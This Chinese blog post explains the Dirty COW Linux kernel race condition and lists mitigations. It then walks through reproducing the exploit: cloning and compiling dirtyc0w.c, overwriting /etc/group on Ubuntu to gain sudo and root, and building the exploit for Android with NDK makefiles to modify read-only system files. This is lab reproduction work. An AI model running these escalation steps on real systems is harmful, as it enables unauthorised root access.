![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/cb3562a1c829c0ab2e8ce5eaa34fde15.jpg)
该漏洞涉及Linux内核的内存子系统,它在处理写时拷贝(Copy-on-Write)操作时存在一种条件竞争漏洞。这种漏洞可能导致私有只读内存映射被破坏。黑客可以通过利用此漏洞,在获得低权限本地用户访问权限后,进一步获取其他只读内存映射的写权限,甚至获得root权限。
漏洞的潜在影响
这个条件竞争漏洞可能对系统安全造成严重影响。恶意攻击者可以利用漏洞获取其他只读内存映射的写权限,并以此为基础实施更深层次的攻击。如果攻击者成功获取root权限,他们将能够执行敏感操作、篡改系统配置和访问敏感数据,从而对整个系统产生严重威胁。
建议的应对措施
针对这个漏洞,以下是一些建议的应对措施:
- 更新内核版本:及时更新系统的内核版本,以获取最新的安全补丁和修复程序。
- 限制权限:合理配置用户权限,确保每个用户仅具备必要的权限,并使用最小权限原则进行访问控制。
- 定期监测:通过系统日志、入侵检测系统(IDS)等手段,定期监测异常行为和未经授权的访问尝试。
- 加强访问控制:使用有效的防火墙规则和网络隔离策略,限制对系统的直接访问,并仅允许必要的网络连接。
- 安全意识培训:加强用户对安全意识的培训,提高其对潜在威胁和风险的认知,从而减少社会工程学攻击的成功率。
Linux
Ubuntu 14.04 :
1)添加用户:
sudo adduser test
输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。
切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限,
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图1 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图1](https://static.esw.eswlnk.com/2023/07/20230726134030694.png-esw)
2)运行DirtyCow的exp进行提权:
git clone https://github.com/dirtycow/dirtycow.github.io
cd dirtycow.github.io
编译exp:
gcc dirtyc0w.c -o dirtycow lpthread
执行exp:
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图2 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图2](https://static.esw.eswlnk.com/2023/07/20230726134032197.png-esw)
新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图3 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图3](https://static.esw.eswlnk.com/2023/07/20230726134036240.png-esw)
漏洞成因:
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
Android:
Linux上编译好的exp在Android平台上不能用,使用NDK编译下载好的exp:
EXP下载地址:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
ANDROID STUDIO中安装NDK,把CMAKE和LLDB也安装一下:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图4 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图4](https://static.esw.eswlnk.com/2023/07/20230726134035245.png-esw)
下载源码导入ANDROID STUDIO
下载源码:HTTPS://GITHUB.COM/GOOGLESAMPLES/ANDROID-NDK
如果导入项目时Android studio好像卡住了一样,有可能是Android Studio在后台正在下载东西,沿着这个路径:项目/gradle/wrapper找到这个文件: gradle-wrapper.properties,打开它看看最后一行的gradle版本,若版本和你现有的版本不一致,可以去http://services.gradle.org/distributions/ 上下载相应的版本,手动拷贝到:
C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目录下
注:这里的 bzyivzo6n839fup2jbap0tjew 是随机的
将下载好的android-ndk源码解压到某个位置,这里我是解压到了桌面上,所以在我个人的的计算机上android-ndk路径如下:
C:\Users\wangzt\Desktop\android-ndk
我们只需要用下面路径中的相应文件即可:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\
在main目录下新建文件夹jni,在jni文件夹中新建两个文件:Android.mk 和Application.mk,内容如下:
Android.mk
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow
LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
include $(BUILD_EXECUTABLE)
Application.mk
APP_ABI := all
要编译的文件:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图5 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图5](https://static.esw.eswlnk.com/2023/07/20230726134032812.png-esw)
编译EXP
命令行下cd 到如下目录:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>
执行命令:
D:\AndroidSDK\ndk-bundle\ndk-build
编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图6 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图6](https://static.esw.eswlnk.com/2023/07/20230726134033273.png-esw)
编译好的exp:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图7 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图7](https://static.esw.eswlnk.com/2023/07/20230726134035634.png-esw)
Android 4.4
adb连接手机(手机需开启USB调试):
查看和adb连接的设备:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图8 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图8](https://static.esw.eswlnk.com/2023/07/20230726134035173.png-esw)
在/system/bin/目录下新建文件test_dirty_cow,并且将其权限修改为644
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图9 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图9](https://static.esw.eswlnk.com/2023/07/20230726134032251.png-esw)
将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中(这里选用的编译好的POC是armeabi 平台的,arm64-v8a经测试不能使用,可以根据自己用的测试机的架构选择相应的平台):
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图10 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图10](https://static.esw.eswlnk.com/2023/07/20230726134032842.png-esw)
修改EXP权限:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图11 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图11](https://static.esw.eswlnk.com/2023/07/20230726134032382.png-esw)
当前用户权限(shell):
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图12 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图12](https://static.esw.eswlnk.com/2023/07/20230726134037487.png-esw)
切换到root权限,向test_dirty_cow文件中写入 123456,写入之后再切换为普通用户权限(shell),以普通用户权限执行EXP(下同):
/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify
然后查看test_dirty_cow中的内容,发现文件内容已被修改为modify,复现成功:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图13 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图13](https://static.esw.eswlnk.com/2023/07/20230726134036837.png-esw)
Android 6.0.1 (安全补丁程序级别: 2017年2月1日)
测试机系统具体信息:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图14 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图14](https://static.esw.eswlnk.com/2023/07/20230726134038356.png-esw)
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图15 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图15](https://static.esw.eswlnk.com/2023/07/20230726134043381.png-esw)
Android 6.0.1 默认关闭了并隐藏了开发者选项,需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项,然后在开发者选项中启用USB调试。
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图16 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图16](https://static.esw.eswlnk.com/2023/07/20230726134039724.png-esw)
接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件,因为默认的 /system 目录是只读的,所以需要 remount /system
注意:
mount -o rw,remount /system
上述命令中,remount和它前面的逗号之间不要有空格。
接下来的操作步骤和在Android 4.4 系统中差不多:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图17 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图17](https://static.esw.eswlnk.com/2023/07/20230726134040328.png-esw)
adb中切换为root权限,将新建的test_dirtycow 文件的权限修改为 644
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图18 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图18](https://static.esw.eswlnk.com/2023/07/20230726134040829.png-esw)
给EXP可执行权限:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图19 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图19](https://static.esw.eswlnk.com/2023/07/20230726134040279.png-esw)
执行EXP 报错:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图20 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图20](https://static.esw.eswlnk.com/2023/07/20230726134040671.png-esw)
PIE这个安全机制从4.1引入,但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android L已经开启验证,如果调用的可执行文件不是基于PIE方式编译的,则无法运行。解决办法非常简单,在Android.mk中加入如下flag即可。
LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE
修改后的Android.mk 文件:
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
LOCAL_SRC_FILES:= dirtyc0w.c
LOCAL_MODULE:= dirtycow
LOCAL_FORCE_STATIC_EXECUTABLE := true
#LOCAL_STATIC_LIBRARIES := libc
#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGS
LOCAL_CFLAGS += -pie -fPIE
LOCAL_LDFLAGS += -pie -fPIE
include $(BUILD_EXECUTABLE)
Application.mk
APP_ABI := all
编译EXP:
Windows命令行下进行编译,因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中,所以只需要在命令行下输入如下命令进行编译:
D:\AndroidSDK\ndk-bundle\ndk-build
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图21 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图21](https://static.esw.eswlnk.com/2023/07/20230726134041261.png-esw)
经测试,不能任意修改文件内容:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图22 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图22](https://static.esw.eswlnk.com/2023/07/20230726134042366.png-esw)
因为这个Android 6.0的系统安全补丁是2017年2月份的,估计漏洞已经修补好了。
Android 6.0.1_r68(安全补丁程序级别: 2016年9月6日)
不多说,一样的操作:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图23 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图23](https://static.esw.eswlnk.com/2023/07/20230726134044552.png-esw)
可以看到test_dirtyc0w文件中的内容被修改为 modify,复现成功。
Android 5.1.1
复现过程:
用的EXP是测试Android 6.0.1时编译好的,拿来直接用即可。
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图24 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图24](https://static.esw.eswlnk.com/2023/07/20230726134044394.png-esw)
在/system/bin目录下新建文件 test_dirty,试了几次没有成功:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图25 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图25](https://static.esw.eswlnk.com/2023/07/20230726134044815.png-esw)
解决办法:执行
mount -o rw,remount /system
并将新建的test_dirty 权限修改为644:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图26 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图26](https://static.esw.eswlnk.com/2023/07/20230726134045137.png-esw)
向文件test_dirty中写入 123456,执行EXP:
/data/local/tmp/dirtycow /system/bin/test_dirty modify
EXP执行一段时间后即可停止,此时再次查看 test_dirty 文件中的内容,发现文件内容已被更改为 modify,复现成功:
![Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图27 Linux内核存在条件竞争漏洞 | 黑客可获取root权限插图27](https://static.esw.eswlnk.com/2023/07/20230726134047831.png-esw)
📮评论